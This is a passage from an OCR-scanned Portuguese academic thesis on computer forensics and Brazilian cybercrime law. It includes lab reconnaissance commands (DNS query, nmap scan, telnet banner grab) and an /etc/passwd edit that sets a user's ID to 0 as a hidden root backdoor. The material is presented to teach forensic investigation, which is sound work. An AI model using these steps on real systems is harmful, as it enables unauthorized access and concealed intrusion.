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Capitulo 1

Introducao

ESSES tltimos anos, pode-se perceber que a tecnologia dos computadores ja
N faz parte integrante da vida das pessoas, e com a popularizagao da Internet
muitas atividades da sociedade que antes eram feitas fisicamente agora podem ser
realizadas pelo computador. Por exemplo, hoje em dia, é mais comum enviar um
correio eletronico(e-mail) do que mandar uma carta pelo correio postal para um

amigo.

Conforme dados do IBGE(Instituto Brasileiro de Geografia e Estatistica)[1], em
2003, o uso de computadores se disseminou e foi o bem duravel que mais cresceu,
atingindo 7,5 milhoes de domicilios, dos quais 5,6 milhoes dispoem de acesso a

Internet.

Acompanhando essa evolucao, os crimes convencionais vém se tornando cada vez
mais tecnologicamente avancados. Roubo de informacoes, disseminacao de virus,
ataques de negacao de servicos, transmissao de pornografia infantil, entre outros,
sao crimes que ocorrem na Internet. Por isso, temas como seguranca da informacao
e analise computacional forense encontram-se em destaque nos ultimos anos entre

os especialistas da area digital.

Existe no Brasil um time de resposta a incidentes chamado NBSO (NIC BR
Security Office)|2], responsavel por receber, analisar e responder a incidentes de

seguranca das redes conectadas a Internet brasileira. O NBSO elaborou o Gréfico 1.1
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mostrando o crescimento dos incidentes de seguranca a ele reportados que ocorreram

no paifs.
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Figura 1.1: Total de incidentes reportados ao NBSO por ano

Esses dados demonstram que o ntimero de incidentes vem aumentando conside-
ravelmente a cada ano. Uma das razoes para tal acontecimento é a impunidade que
acontece no mundo cibernético. Portanto, percebe-se a importancia da definicao de
procedimentos que permitam a conducao de uma analise em sistemas comprometi-
dos, que tem por objetivo descobrir o porqué, de que forma, e quem foi o responsével

por tal incidente. Trata-se da Analise Forense.

1.1 Motivacao

Embora os esforcos das autoridades competentes venham aumentando a cada
ano, pouco se discute dentro da comunidade académica sobre como proceder numa
avaliacao forense em sistemas computacionais de modo que as provas encontradas
tenham validade em territorio brasileiro e possam ser utilizadas em processos crimi-

nais sem possibilidade de refuta.
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Este trabalho propoe-se a mostrar as relagoes entre a legislacao brasileira e a
metodologia forense em sistemas computacionais, para que tais questoes sejam es-

clarecidas e o trabalho do criminalista seja de fato eficaz.

Outra motivagao é estudar o processo forense em si, visando responder ques-
toes como as listadas abaixo, que surgem ap6s um sistema ser comprometido e sao

essenciais para o julgamento do incidente em ambito legal:
e Como foi feita a invasao;
e Quem é o responsavel;

e O que foi feito na maquina comprometida;

e Porque a maquina foi comprometida;

1.2 Objetivos

A ciéncia forense computacional ainda esta em seus primeiros estagios e ha muita
dificuldade em isolar e validar evidéncias, especialmente devido a falta de mecanis-
mos incorporados aos sistemas afetados que facilitem sua anélise e ao fato de um
sistema, digital poder ser manipulado com relativa facilidade por um transgressor,
permitindo ocultamento e inclusao de evidéncias falsas que apontem para outros

suspeitos.

O objetivo deste trabalho é explicar os principais procedimentos adotados por
especialistas da area de andlise computacional forense e associd-los ao contexto na-
cional. A partir destas explicacoes, algumas das principais ferramentas existentes

sao aplicadas , em ambiente de laboratorio composto por uma honeynet.

1.3 Contribuicoes do Trabalho

Com a elaboracao desse trabalho, as seguintes contribuicoes podem ser relacio-

nadas:
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e Estudo sobre a atual situagao da legislacao brasileira;
e Procedimentos para coleta de evidencias digitais;

e Utilizacao do conjunto de ferramentas de andlise forense;

1.4 Organizagao do Texto

O Capitulo 2 fornece os conceitos basicos sobre andlise forense e outros conceitos

importantes.

Como as atuais leis brasileiras tratam a revolucao tecnlégica que o mundo esta

enfrentando e os projetos de lei sobre crimes digitais é descrito no no Capitulo 3.

Os procedimentos explicando como deve ser feito para extrair uma evidéncia

digital de um sistema comprometido serao apresentados no Capitulo 4.

O Capitulo 5 descreve sobre a utilizacao das principais ferramentas disponiveis

para uma andlise computacional forense.

A aplicacao pratica dos procedimentos e das ferramentas sao demonstradas no

Capitulo 6.

Para finalizar, o Capitulo 7 traz as conclusoes desse trabalho e apresenta projetos

futuros.

Os conceitos de analise computacional forense abordados neste trabalho baseiam-
se fortemente em sistemas GNU /Linux. Assim, entende-se como pré-requisitos ne-
cessarios para esse trabalho, o entendimento deste sistema operacional, suas fer-
ramentas e conhecimentos de redes de computadores. Este ultimo é importante
pois a compreensao do trafego de redes ajuda a obter conclusoes acertadas sobre o

comprometimento do sistema.



Capitulo 2

Analise Computacional Forense

MAIO de 1999. Sharon Gurthie, de 54 anos, morre afogada na banheira da
sua casa em Dakota, EUA[3]. A autépsia revelou que foi encontrada em
seu corpo a droga Temazepan, usada para auxiliar o sono. Seu marido, o pastor
Willian Gurthie, foi quem indicou o medicamento a sua esposa. Porém este fato por
si 80, nao é convincente o suficiente para acusa-lo como culpado. Com isso, a policia
contratou um perito computacional experiente que fez a apreensao dos computadores
utilizados pelo pastor, na igreja. Apods alguns dias de anélise, foi descoberto que o
acusado tinha pesquisado na Internet sites que explicavam como matar de forma
eficaz e indolor incluindo o uso do Temazepan. Esse fato sim, foi essencial para o

juri considerar Willian Gurthie como culpado.

Crimes associados com roubo e manipulagao de dados sao detectados diaria-
mente. Crimes violentos também nao estao livres dessa revolugao tecnologica que
estd ocorrendo. Com essa nova era, as evidéncias como anotag¢oes em um bloco de
papel, objetos pessoais, estao se transformando em disquetes e disco rigido, ou seja,
evidéncia digital. Evidéncia digital é uma informacao armazenada ou transmitida

em meio digital de valor probatorio[4].

Uma evidéncia digital é um tipo de evidéncia fisica que possui algumas caracte-

risticas proprias|5|, como:

e A possibilidade da evidéncia digital ser duplicada com exatidao. Uma pratica
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comum entre os investigadores forenses, pois assim examinam a copia e evita-se

danificar a evidéncia original;

e Permite a verificacao de sua integridade, através de ferramentas apropriadas.

Esta verificacao é explicada na secao 4.8;

e Dificil de extinguir. Mesmo apagando-se um arquivo ou formatando um disco

rigido, ainda é possivel recuperar as informacoes contidas nele.

A analise computacional forense surgiu como uma ciéncia para garantir que a
manipulacao dessas novas formas de evidéncias eletronicas fosse aceitas em juizo. Ela
compreende da aquisicao, preservacao, identificacao, extracao, restauracao, anélise
e documentacgao de evidéncias, quer sejam componentes fisicos ou dados que foram
processados eletronicamente e armazenados em midias computacionais[6]. A analise
computacional forense é diferente das tradicionais disciplinas forenses, pois produz

informacoes diretas e nao resultados interpretativos.

Essa area forense é recente e seu estudo vem crescendo significamente devido a
popularizacao do uso de computadores para a realizacao de delitos, conhecido como
"Crimes de Internet". Disseminacao de virus de computador, desconfiguragao de
sites, invasao de sistemas, ataques de negacao de servicos, sao exemplos deste novo

tipo de crime.

De acordo com o site mi2g!, o Brasil est4 no topo da lista dos grupos hackers
mais ativos do mundo. A auséncia de uma legislacao especifica para esse tipo de
crime e o descaso das empresas em descobrir o responsavel pelo delito estimula tais

atividades ilicitas praticadas por estes grupos.

2.1 Habilidade de um intruso

A medida que a complexidade dos programas vai evoluindo, novas vulnerabilida-

des aparecem assim como novas formas de invadir sao desenvolvidas. Com o minimo

Thttp://www.mi2g.com
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de conhecimento em redes de computadores e consultas na Internet, qualquer pessoa
pode obter gratuitamente uma ferramenta que permita realizar invasoes a sistemas
computacionais. Dai percebe-se a importancia de um perito compreender nao so-
mente os procedimentos de analise computacional forense, como também, entender o
comportamento de um intruso para orientar sua investigacao. Estes procedimentos

estao explicados no Capitulo 4.

Existem na literatura estudos especificos para tentar entender e qualificar o ni-
vel de conhecimento do atacante através de honeypots. Spitzner, o fundador deste
conceito, em [7], define honeypots como um recurso de sistema da informacao cujo
valor se encontra no uso desautorizado ou ilicito desse recurso. O uso de honeypots
em redes é chamado de Honeynet. Esses sistemas sao altamente monitorados para
armazenar o maximo de informacoes sobre os atacantes e suas formas de ataque.
Embora nao faca parte do escopo desse trabalho explicar como elaborar tal sistema,
a Honeynet desenvolvida pelo aluno Alexandre Pinaffi, em [8|, teve um dos seus
honeypots comprometidos e no Capitulo 6 demonstra-se, de forma pratica, como foi

feita a analise computacional forense desse sistema.

Para um investigador, entender o que motivou o atacante a realizar uma invasao,
ajuda a pensar sobre onde ele deve procurar por evidéncias, facilitando assim, o
encaminhamento do processo de analise forense. As razoes sao diversas, destacando-
se as seguintes:

e Divulgagao pessoal (pichagao de sites);

e Acesso a informagoes confidencias(espionagem industrial, senhas);

e Utilizacao de recursos (repositorio de dados);

Apesar de existirem diversas formas de comprometer um sistema, os passos po-
dem ser generalizados como se segue:

e Levantamento de Informacoes;

e Busca de vulnerabilidades;
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e Comprometimento inicial e elevagao privilégios;
e Mantendo o acesso;

e Limpeza dos rastros;

2.1.1 Levantamento de Informacoes

Essa é a primeira fase e consiste em realizar um levantamento de informacoes
para posterior invasdo, como: consulta a base DNS2, verificar servicos TCP? e UDP*
disponiveis, leitura de rotulos dos servigos(banners) disponiveis nos servidores. As
formas dos levantamentos citados anteriormente serao exemplificadas no decorrer

desta secao.

Um dominio ficticio, exemplo.com.br, foi criado em ambiente de laboratorio utili-
zando o BIND?® como servico DNS. Através de uma consulta DNS a todos os registros
do dominio exemplo.com.br, utilizando a ferramenta host, observa-se a divulgacao

de algumas informagdes.

$ host -a exemplo.com.br

Trying "exemplo.com.br"
;; »HEADER«- opcode: QUERY, status: NOERROR, id: 1690
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1

;; QUESTION SECTION:
;exemplo.com.br. IN ANY

;; ANSWER SECTION:
exemplo.com.br. 86400 IN SOA ns.exemplo.com.br.
root.exemplo.com.br. 2003082500 28800 14400 3600000 86400

exemplo.com.br. 86400 IN NS ns.exemplo.com.br.
exemplo.com.br. 86400 IN A 192.168.0.1
exemplo.com.br. 86400 IN TXT "Laboratério do 1o. andar"

2Domain Name System
3Transmission Control Protocol
4User Datagram Protocol
Shttp://www.isc.org/sw/bind



2.1 Habilidade de um intruso 16

exemplo.com.br. 86400 IN HINFO "i686Slackware"

;; ADDITIONAL SECTION:
ns.exemplo.com.br. 86400 IN A 192.168.0.1

Received 193 bytes from 127.0.0.1#53 in 1 ms

Pelo TXT e HINFO descobre-se a possivel localizacao do servidor, laboratorio do
lo. andar e o sistema operacional Slackware. Dados a principio insignificantes, mas
que podem servir como base para um atacante experiente obter outras informacoes

relevantes.

Na situacao em que se deseja descobrir os servicos TCP e UDP disponiveis, pode-
se utilizar programas como nmap|9| e descobrir quais servi¢os estdo em execu¢ao

no computador alvo.
# nmap -0 127.0.0.1

Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-03-07 15:34 UTC
Interesting ports on localhost (127.0.0.1):

(The 1659 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE

21/tcp open ftp

22 /tcp open ssh

80/tcp open http

Device type: general purpose

Running: Linux 2.4.X]2.5.X

OS details: Linux 2.4.0 - 2.5.20

Uptime 3.203 days (since Fri Mar 4 10:42:14 2005)

Nmap run completed — 1 IP address (1 host up) scanned in 3.551 seconds

O endereco IP do computador alvo utilizado no exemplo é 127.0.0.1 e observando
resultado apresentado pela ferramenta, nota-se que os servicos ftp, ssh e http estao

disponiveis e que o sistema é Linux com kernel entre as versoes 2.4.0 e 2.5.20.

Sabendo dos servigos disponiveis, o invasor busca revelar qual é sua versao para

definir assim, sua forma de ataque. A leitura de banners dos servicos é uma das
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maneiras possiveis de descobrir sua versao e pode ser feita com a ferramenta telnet.
O telnet apesar de nao ter sido desenvolvido com esse intuito, funciona, pois a
ferramenta estabelece uma conexao TCP com outro computador em qualquer servico
e apos este estabelecimento o proprio servigo retorna algumas informacgoes para o

requisitante, incluindo a versao utilizada. Segue um exemplo:

# telnet 127.0.0.1 22

Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is ’~]’.
SSH-2.0-0OpenSSH_3.9p1

"]

telnet>

O telnet estabeleceu uma conexao na porta 22(SSH) e o servidor retornou a

string SSH-2.0-OpenSSH _3.9p1, que é a versao do SSH utilizada.

Portanto, a intencao nesta fase de levantamento de informagoes é adquirir o
méaximo de informacoes possiveis e, a partir desses resultados, tracar uma estratégia
de ataque ao alvo, tornando-se assim, uma fase determinante para o sucesso ou nao

da invasao.

2.1.2 Busca de vulnerabilidades

Em poder de todas as informagodes sobre o alvo, o atacante agora busca um ponto

de entrada. Baseando-se no item 2.1.1 as informagoes obtidas sao:

Possivel local fisico onde encontra-se o alvo: "Laboratério do 1o. andar"

Possivel sistema operacional: "Slackware"

Os servigos e as portas que o alvo esta rodando: ftp(21), ssh(22), http(80)

A versao do ssh pela leitura de banners: "SSH-2.0-OpenSSH_3.9p1"



2.1 Habilidade de um intruso 18

O invasor entao comeca a procura nos repositorios espalhados pela Internet por
alguma ferramenta, conhecida como ezploit, que explore uma vulnerabilidade ja
conhecida. Eles tentam também técnicas de forca bruta que servem para testar
varias combinagoes de usuério e senha, ou entao ferramentas que capturam trafego
de rede (sniffers) para obter algum pacote que contenha uma senha. Tudo para
encontrar um ponto de entrada no sistema. Por isto, esta fase exige pesquisa e

paciéncia do atacante para alcancar um bom éxito.

2.1.3 Comprometimento inicial e elevagao privilégios

Nesta fase considera-se que o invasor ja tem acesso ao sistema. Entao ele verifica
se possui privilégios irrestritos (conta de administrador ou root), o que geralmente
nao ocorre, para comecar a procurar uma falha local que o permita alcancar os

privilégios de root.

Para isso, sao realizadas verificagoes nos processos que estao em execucao, scripts
de inicializa¢do, arquivos que executdo com privilégios de administradores (arquivo
suid-root), versao do kernel, entre outros. Apoiando-se nas novas informagoes ad-
quiridas, o invasor obtém programas maliciosos que explorem falhas locais e alcanca

0 acesso de root.

2.1.4 Mantendo o acesso

Apos realizar as tarefas que motivaram o invasor a comprometer o sistema, sua
preocupacao agora é manter o acesso de forma oculta, técnica conhecida como back-

door.

As técnicas mais populares de backdoor sao: por senha, onde é adicionado um
usuario ao sistema com privilégios de root sem o conhecimento do administrador;
e por servicos, em que a maquina invadida passa a executar um novo servico que

forneca ao atacante acesso completo ao sistema, mediante requisicao do mesmo.

Exemplificando o primeiro método, por senha, ao criarmos um usuario nor-
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malmente, via ferramenta adduser ou similar, suponha que a entrada no arquivo

/etc/passwd tenha sido:
suporte:x:1009:100:,,,: /home/suporte: /bin /bash
bastaria ao invasor modificar a entrada para

suporte:x:0:0:,,: /home/suporte: /bin /bash

’ como demilitador, o valor 0(zero) na terceira coluna

Considerando o caracter ’:
indica o nimero de identificagdo do usuario. E em sistemas GNU /Linux, usuério
com este nimero de identificacao é entendido como um usuério com privilégios de

administrador.

2.1.5 Limpeza dos rastros

As fases detalhadas anteriormente sao consideradas "barulhentas", isto é, geram
varios registros no sistema alertando agoes atipicas no sistema, deixando indicagoes
do que ocorreu. Examinando estes alertas, o administrador pode avaliar o que
aconteceu. Por isso uma vez terminada as fases anteriores, o invasor passa a se
preocupar em apagar todos os seus rastros para nao deixar nenhuma evidéncia que
declare a sua autoria, o que foi feito e como foi feito, assim como nos crimes da vida,

real.

Nesse intuito ocorre entao a alteragdo nos arquivos de registros do sistema (ar-
quivos de log), modificagdo de arquivos executéaveis(arquivos binarios), remogao de

arquivos e qualquer outra acao necessaria para a limpeza dos rastros.

Como essa parte é trabalhosa e passivel ao esquecimento de remover algum vesti-
gio, os invasores experientes criam programas ou scripts para realizar esse trabalho,

conhecidos como rootkits.

Os rootkits além da funcao de apagar os rastros do invasor, também preocupa-se

em instalar backdoors, ocultar conexoes, arquivos e processos, entre outros.

Por ser uma técnica amplamente difundida, a maioria dos rootkits sao utilizados
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por pessoas com pouca experiéncia, e por isso nao alcancam a meta de ocultar suas
acoes. No apéndice A foi feito um estudo minucioso do funcionamento do rootkit
KFN, demonstrando como esta ferramenta se preocupa em excluir rastros, modificar
os scritps de inicializacao, alterar os timestamps do arquivos, tudo com o objetivo

de tornar o invasor invisivel.

Os rootkits estao ficando cada vez mais avangados e dificeis de serem detecta-
dos. Principalmente aqueles que usam a técnica Loadable Kernel Module(LKM),
pois funcionam alterando chamadas do sistema (syscalls) e atuando diretamente em
algumas estruturas do kernel[10], exigindo uma maior aten¢io do investigador no

momento em que for analisar um sistema.

2.2 Tipos de atacantes

A habilidade em executar os passos descritos na secao anterior pode facilitar ou
dificultar o processo de andlise forense em busca de evidéncias, pois a quantidade de
evidéncias deixadas é inversamente proporcional & habilidade do atacante. De acordo

com [11], pode-se classificar a habilidade do invasor em quatro classes conforme a

Tabela 2.1:

Nivel de Habilidade

Habilidades

Evidéncias

Clueless

Nenhuma habilidade

Todas as atividades sao bas-

tante aparentes.

Script Kiddie

Capaz de encontrar ex-
ploits prontos na Internet e
executa-los seguindo instru-
coes detalhadas.Nao escre-

Ve prograimas.

Pode tentar cobrir rastros
com o uso de rootkits pron-
tos,mas com sucesso limi-
tado. Pode ser detectado

com esfor¢co minimo.
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Guru

Equivalente a um adminis-
trador experiente. Habil em
programagao. Checa a exis-
téncia de programas de se-
guranca e esquemas de log
seguros, evitando alvos pro-

tegidos.

Cuidadosamente apaga evi-
déncias em arquivos de log.
Nao deixa tracos Obvios de
sua presenca. Pode insta-

lar Trojan horses e backdo-

Ors para um acesso futuro.

Wizard

Possui um grande conheci-
mento do funcionamento in-
terno de um sistema. Ca-
paz de manipular hardware

e software.

Praticamente nao deixa evi-
déncias tteis. Pode compro-

meter totalmente o sistema.

Tabela 2.1:

Habilidade do invasor x Quantidade de evi-

déncias deixadas.

2.3 Sinais de Incidente

A maioria dos crimes ocorridos nao é detectada e nem mesmo reportados, muitas

vezes porque o crime acontece e passa desapercebido. Por exemplo, um individuo

pode acessar dados sem autorizagao e copia-los. Ou seja, é como se ele estivesse

roubando um "objeto", mas ninguém vai sentir falta porque o original continua no

mesmo lugar de sempre e com seu contetido inalterado.

Existem casos em que os incidentes sao detectados, porém a vitima prefere nao

reportar a ninguém sobre isso.

Isso acontece, geralmente, com empresas que ao

declarar que foram invadidas, estarao prejudicando sua imagem perante o mercado

podendo afetar seus negocios.

Alguns tipos de incidentes de computadores sao:

e Sabotagem interna (espionagem ou empregado insatisfeito);
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Monitoragao eletronica desautorizada (sniffers, keyloggers);

Desconfiguracao de sites;

Codigos maliciosos (virus, worms, cavalo de tréia);

Uso inapropriado do sistema;

Acesso a informacao confidencial;

Invasao;

Nao existe nenhuma solucao que garanta a uma empresa que ela nunca iré sofrer
de algum desses incidentes, ja que nenhum sistema é completamente livre de falhas.
Porém deve ser elaborado um esquema para que quando ocorra, o administrador do
sistema seja capaz de identificar a falha o mais rapido possivel e tomar as devidas

providéncias para minimizar o risco.

Para isso, é essencial que haja uma monitoracao por sinais de intrusao no sistema,

comao:

e Verificar os usuarios e grupos. E muito comum no GNU/Linux existirem
usudrios e/ou grupos que nao estao sendo utilizados. Aproveitando-se disso,
o atacante pode criar mais um usuario ou grupo e permanecer com acesso
ao sistema sem que o administrador perceba. Portanto deve estar sempre
atento aos arquivos /etc/passwd e /etc/groups, pois sao eles que definem tais

configuracoes.

e Conferir se todos os usuérios possuem senhas. A presenca de um usuério sem
senha é indicio de incidente, a nao ser que isso ja seja definido pelo administra-
dor. Arquivos, como /etc/shadow, contém as senhas criptografadas de cada

usuario.

e Checar os arquivos de logs. Deve ser feita a verificacao nos registros dos
arquivos de log em busca de falhas de conexao, de servicos e qualquer atividade

atipica dos aplicativos.
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e Verificar as aplicagoes que estao em execugao, pois podem existir algumas que
estejam funcionando como uma backdoor instalada pelo invasor. O comando

ps -aux fornece essa informagao.

e Inspecionar as configuragoes de rede. Observar se 0 DNS, roteador, e outras

configuragoes condizem com o que foi planejado.

e Checar se existe alguma porta incomum esperando por conexoes de outros

computadores. O comando netstat -atun pode ajudar nesse encargo.

e Verificar o estado dos arquivos binérios significativos ao sistema.

A tarefa de monitoracao pode ser complicada porque um intruso pode modificar
os binarios do sistema para ocultar suas agoes. Logo, ¢ altamente recomendado
fazer um hash criptografico dos arquivos essenciais de todo sistema e eventualmente

verificar se houve alguma alteracao em seu hash.

2.4 Time de Respostas a Incidentes de Seguranca

Atualmente, os administradores devem estar preparados caso ocorra uma invasao
em uma das maquinas de sua responsabilidade. A monitoracao é importante para o
administrador ficar ciente no momento em que acontecer a intrusao, porém as agoes

a serem tomadas desse ponto em diante precisam ser bem elaboradas.

Geralmente, ao se deparar com uma situagao em que seu sistema foi compro-
metido, a primeira atitude de um administrador despreparado é desligar a maquina
usando o processo de shutdown nativo. Mas ao realiza-lo, pode haver perda de
evidéncias importantes caso algumas delas estejam na memoria, na area de swap,
ou pior, o atacante pode alterar o script responsavel pelo processo de shutdown e

remover seus vestigios.

Com um time de respostas a incidente de seguranca, o administrador sempre
sabera a quem recorrer ao detectar um sinal de intrusao. Em qualquer situacao

suspeita de um crime de computador esse time estaria preparado para orienta-lo.
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O NBSO é o Grupo de Resposta a Incidentes para a Internet brasileira, mantido
pelo Comité Gestor da Internet no Brasil[12], responséavel por receber, analisar e
responder a incidentes de seguranca em computadores, envolvendo redes conectadas

a Internet brasileira[13].

Para desenvolver uma completa habilidade de resposta aos incidentes, algumas
organizagoes estao criando seu proprio time de respostas. Os principais no Brasil

Sao:

e Centro de Atendimento a Incidentes de Seguranca da Rede Naci-
onal de Pesquisa(CAIS/RNP): Atende a redes de institui¢oes de ensino

superior, institutos de pesquisa e similares, conectados ao backbone da RNP;

e Grupo de Seguranga da RedeRio(CEO/RedeRio): Atende a universi-

dades, institutos de pesquisa e 6rgaos de governo do Estado do Rio de Janeiro.

e Equipe de Seguranca de Redes e Resposta a Incidentes: Atende a

enderecos IP e dominios alocados a Universidade de Sao Paulo(USP);

e CSIRT ABN AMRO Real: Atende a dominios e enderecos IP alocados ao
Banco ABN AMRO Real SA

e CSIRT Santander Banespa: Atende a clientes internos e externos do Banco

Santander Banespa;
e Brasil Telecom S.A: Atende a redes conectadas & Brasil Telecom;

e Empresa Brasileira de Telecomunicagoes: Atende a redes conectadas a

EMBRATEL;

e Grupo de Respostas a Incidentes de Seguranca(GRIS): Atende a do-
minios e enderecos IP alocados a Universidade Federal do Rio de Janeiro -

UFRJ.

e Niucleo de Atendimento e Resposta a Incidentes de Seguranca(NARIS):

Atende a dominios e enderecos IP alocados & UFRN;
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e Computer Security Incident Response Team - Universidade Estadual

de Campinas: Atende a dominios e enderecos IP alocados & UNICAMP;

Havendo um grupo, capacitado para incidentes de seguranca em computadores,
significa que a organizacao estd preparada para responder os incidentes de maneira
eficiente. Além disso, possuiria um grupo com bons conhecimentos técnicos para
ajudar na construcao de um ambiente pro-ativo que evitasse e tratasse esses inci-

dentes. Os principais focos da criagao do grupo sao:

e Eficiéncia na resposta;
e Centralizacao para reportar e tratar incidentes;

e Conscientizacao dos usudrios sobre as ameacas virtuais.



Capitulo 3
Legislacao Brasileira

ULTIMAMENTE , h& muita discussao sobre a atual legislacao brasileira e os
crimes computacionais. Grande parte das tarefas do nosso dia a dia sao trans-
portadas para a rede mundial de computadores, ocasionando fatos e conseqiiéncias,
juridicas e econdmicas, assim como ocorre no mundo fisico. Por exemplo, a apli-
cagao das normas comerciais e de consumo nas transagoes via Internet, a questao
do recebimento indesejado de mensagens por e-mail (spam), a validade juridica do

documento eletronico, a privacidade e os crimes de informética.

Entende-se por crime de informética, crime computacional ou crime digital qual-
quer acao em que o computador seja o instrumento ou o objeto do delito, ou entao,

qualquer delito ligado ao tratamento automético de dados.

A legislagao brasileira pode e vem sendo aplicada na maioria dos problemas

relacionados a rede. O primeiro artigo do codigo penal diz que:

Art. 1° - Nao ha crime sem lei anterior que o de-

fina. Nao hd pena sem prévia cominagao legal[14].

Ou seja, se nao existe uma lei para definir que tipo de acao ¢ infragao, entao
nao existe crime. Ledo engano aqueles que acreditam que por nao existirem leis
especificas para os crimes digitais, eles ficarao impunes. Delitos cometidos como

transferéncia bancéaria ilegal pela Internet é um crime de furto ja previsto pelo atual
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Codigo Penal. A tunica diferenca é o meio em que foi realizado, que é um novo meio

de comunicacao.

Porém, existe a necessidade de leis que tratem essa nova modalidade de conduta
delituosa, para que os advogados busquem a correta tipicidade dentro da legislacao,
como estabelecer regras acerca da inviolabilidade do sigilo de dados, da valia do

e-mail como prova e as conseqiiéncias de sua interceptacao, entre outros.

O principal problema dos crimes cometidos pela Internet é achar o verdadeiro
culpado, ja que a Internet facilita a anonimidade com provedores que nao armazenam
registros informando a relagdo de méaquina-IP (Internet Protocol) ou através de

proxy anénimos.

Com o advento da Internet, surgiu a possibilidade de uma pessoa estar em um
lugar e cometer o crime em outro. Por exemplo, uma pessoa pode estar no Brasil
e praticar uma atividade ilicita, como jogos de azar, em um pais da Europa. No
Brasil isso é tratado pela teoria da ubiquidade, acolhida pelo sexto artigo do Codigo

Penal:

Art. 6° - Considera-se praticado o crime no lu-
gar em que ocorreu G a¢ao ou 0missao, no todo ou
em parte, bem como onde se produziu ou deveria

produzir-se o resultado.[14].

Para que a jurisdicao seja exercida, as autoridades brasileiras explicam que é
suficiente que o crime tenha "tocado"o territorio brasileiro, e que para esta finalidade
basta que parte da conduta criminal ou o resultado tenha ocorrido em territorio

brasileiro.

3.1 Classificacao dos Crimes de Informatica

Os crimes de informéatica devem ser classificados quanto ao objetivo material,
e nao ao simples fato do uso de computador ser considerado indiferente ao direito

penal. Eles podem ser de trés modalidades|[15]:
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e Crime de informéatica puro
e Crime de informéatica misto

e Crime de informética comum

3.1.1 Crime de informéatica puro

Toda e qualquer conduta que vise exclusivamente violar o sistema de computador,
pelo atentado fisico ou técnico ao equipamento e seus componentes, inclusive dados

e sistemas.

As acoes fisicas se materializam, por exemplo, por atos de vandalismos contra a
integridade fisica do sistema, pelo acesso desautorizado ao computador, pelo acesso

indevido aos dados e sistemas contidos no computador.

3.1.2 Crime de informatica misto

Sao todas as acoes em que o uso do sistema de computador é condicao essencial

para efetivagao de um crime.

Por exemplo, para realizar operagoes de transferéncia bancaria ilicitas pela Inter-
net, ¢ imprescindivel o uso do computador para a sua consumacao, sendo classificado

assim como um crime de informética misto.

3.1.3 Crime de informatica comum

Sao todos aqueles em que o sistema de computador é uma mera ferramenta para

cometer um delito ja tipificado na lei penal.

Se antes, por exemplo, o crime como pornografia infantil era feito por meio de
videos ou revistas, atualmente, se da por troca de fotos via e-mail e divulgacao em

sites. Mudou a forma, mas a esséncia do crime permanece a mesma.
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3.2 Leis

Embora ainda nao existam leis especificas para os crimes digitais atualmente, ja
existem leis vigentes criadas para acompanhar essa revolucao tecnologica que esta

acontecendo. Merecem destaque:

Novo Cédigo Civil (Lei n® 10.406)

Medida Proviséria 2.200-2

Lei 9.296/96

Lei 9.983/00

Lei 9.800/99

3.2.1 Novo Cédigo Civil

O novo Codigo Civil nao traz nenhum artigo que remeta as agoes praticadas pela
Internet mas, em compensacao, alguns dos novos artigos podem gerar interpretagoes

que irao afetar o meio eletronico, como:

Art.  225. As reproducoes fotogrdficas, cinema-
togrdaficas, os registros fonogrificos e, em geral,
quaisquer outras reproducoes mecdnicas ou eletro-
nicas de fatos ou de coisas fazem prova plena des-
tes, se a parte, contra quem forem exibidos, nao

lhes impugnar a exatidao[16].

Assim, a legislacdo nao exige que o documento seja reconhecido como verda-
deiro previamente, o documento agora é considerado verdadeiro até que provem o

contrario. O mesmo se aplica para uma evidéncia eletronica.

Entretanto, é necessério que seja aplicada alguma tecnologia no documento para
garantir sua integridade e autenticidade, pois sem isso, a parte contraria pode con-

testar a veracidade da prova.
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3.2.2 Medida Proviséria 2.200-2

Institui a Infra-Estrutura de Chaves Publicas Brasileira - I[CP-Brasil, concedendo
autonomia ao Instituto Nacional de Tecnologia da Informacao, entre outras provi-

déncias.

Art. 1° Fica instituida a Infra-Estrutura de Chaves Pii-
blicas Brasileira - ICP-Brasil, para garantir a autentici-
dade, a integridade e a validade juridica de documen-
tos em forma eletronica, das aplicacoes de suporte e
das aplicagoes habilitadas que utilizem certificados di-

gitais, bem como a realizagao de transagoes eletronicas

sequras.[17].

Essa medida provisoria reconhece a assinatura digital baseada na criptografia
assimétrica de chave piblica e privada para garantir a identificacao e a integridade
dos documentos eletronicos, desde que a chave publica esteja em uma autoridade

certificadora.

Nao é impedida a utilizacao de outro meio de comprovacao da autoria e integri-
dade de documentos em forma eletronica, inclusive os que utilizem certificados nao

emitidos pela ICP-Brasil, conforme o segundo paragrafo do décimo artigo.

3.2.3 Lei 9.296/96

E a primeira lei especifica para o meio digital e trata, basicamente, do sigilo
das transmissoes de dados. O fluxo de comunicagoes em sistemas de informatica e

teleméatica podem ser interceptados somente com autorizacao da justica.

Conforme o dicionario Michaelis|18|, telematica é o conjunto das técnicas e dos
servicos de comunicacao a distancia que associam meios informaticos aos sistemas

de telecomunicacoes.

O segundo artigo desta lei diz que nao serd admitida a interceptacao desse fluxo
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de comunicagao se[19]:

e Nao houver indicios razoaveis da autoria ou participacao em infracao penal;
e A prova puder ser feita por outros meios disponiveis;

e O fato investigado constituir infracao penal punida, no maximo, com pena de

detencao.

Sendo constituido crime a interceptagao de comunicacoes telefonicas, de infor-
matica ou telematica sem autorizagao judicial ou com objetivos nao autorizados em

lei, além da quebra de segredo da justica.

3.2.4 Lei 9.983/00

Considera como crime o ato de divulgar, sem justa causa, informacoes sigilosas
como senhas ou dados pessoais de clientes, por exemplo, contido ou nao nos sistemas

de informacao.

Entao a publicacao de dados reservados, assim definidos por lei, pela Internet ou
qualquer outro, é um sistema de informacao e infringe a Lei com uma pena de até
4 anos de detengao. Também ¢é crime, de acordo com a Lei 9983/00[20], a insercao,
modificacao ou alteracao nao autorizada de sistema de informacgoes ou banco de

dados.

3.2.5 Lei 9.800/99

Essa Lei de 1999, revela que o Brasil estd tentando acompanhar o progresso
cientifico e o avanco tecnoldgico ao permitir as partes a utilizacao de sistema de
transmissao de dados e imagens, para a pratica de atos processuais, como o envio
de petigdes via correio eletronico(e-mail) ao Poder Judiciario . Isso implica mais

comodidade e economia de tempo no envio de peticoes aos Tribunais de Justica.
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Entretanto, de acordo com o artigo 4°, quem fizer uso de sistema de transmissao
torna-se responsavel pela qualidade e fidelidade do material transmitido, e por sua

entrega ao 6rgao judiciario[21].

3.3 Projetos de Lei

